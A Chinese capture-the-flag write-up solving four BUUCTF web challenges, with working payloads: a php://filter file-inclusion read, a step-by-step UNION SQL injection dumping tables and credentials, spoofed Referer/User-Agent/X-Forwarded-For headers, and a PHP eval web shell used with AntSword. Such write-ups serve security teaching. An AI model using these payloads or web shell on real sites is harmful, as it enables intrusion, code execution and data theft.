Buuctf Web(9-12)
9、Secret File
查看源代码,有一个Archive_room.php文件
查看该文件,有一个按钮
点击按钮,没看到flag
从按钮处抓包,看到有一个secr3t.php文件
查看该文件,flag在flag.php里
查看该文件,还是没看到flag
想到了PHP的封装协议,利用了filter伪协议,该协议刚好就能够查看文件包含的漏洞,所以当我们利用该协议查看flag.php时,会将它的源代码爆出来,但是因为base64的加密原因,所以我们还需要进行一次base64解密
构造payload: /secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
看到一串base64编码,解码后得到flag
1 | flag{657993f7-ec4c-4ccd-a411-1fbca834a5b5} |
10、LoveSQL
尝试万能密码
有显示
尝试联合查询,查到3的时候回显正常
爆数据库password=:1' union select 1,2,database()#
爆出数据库名为geek
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#
爆出表名为geekuser
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#
爆出表名为l0ve1ysq1
爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #
id,username,password
爆数据:/check.php?username=1&password=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23
查看源代码,得到flag
1 | flag{7904eee7-45b3-4f8b-8eac-ecab975dac71} |
11、Http
查看页面源代码,发现有个Secret.php文件
查看该文件,有一个网址
提示:It doesn’t come from ‘https://www.Sycsecret.com’,就是说这个页面得来自https://www.Sycsecret.com,添加referer即可
1 | Referer头用于告诉web服务器,用户是从哪个页面找过来的 |
添加Referer:https://www.Sycsecret.com,send,提示Please use “Syclover” browser:请使用“Syclover”浏览器
1 | User-Agent头用于告诉web服务器用户使用的浏览器和操作系统信息 |
添加User-Agent:Syclover,send,提示No!!! you can only read this locally!!!:不! !您只能在本地阅读!!
添加X-Forwarded-For:127.0.0.1,send,得到flag
1 | flag{43a4b431-f334-44b4-bcb3-aadf626871ac} |
12、Knife
使用蚁剑,安装教程渗透工具:蚁剑教学 (安装+入门) - 知乎 (zhihu.com)
构造payload:/?<?php eval($_POST["Syc"]);?>
打开蚁剑添加数据
URL地址为:http://1c5dc4d2-1605-4b89-99ba-90068b6d2182.node4.buuoj.cn:81/index.php
密码为:Syc
测试连接,连接成功,再点击添加
右键单击,选择文件管理
查看根目录,发现有个flag
双击查看,得到flag
1 | flag{1248bbb7-c099-4589-a699-63d87c2ec2d3} |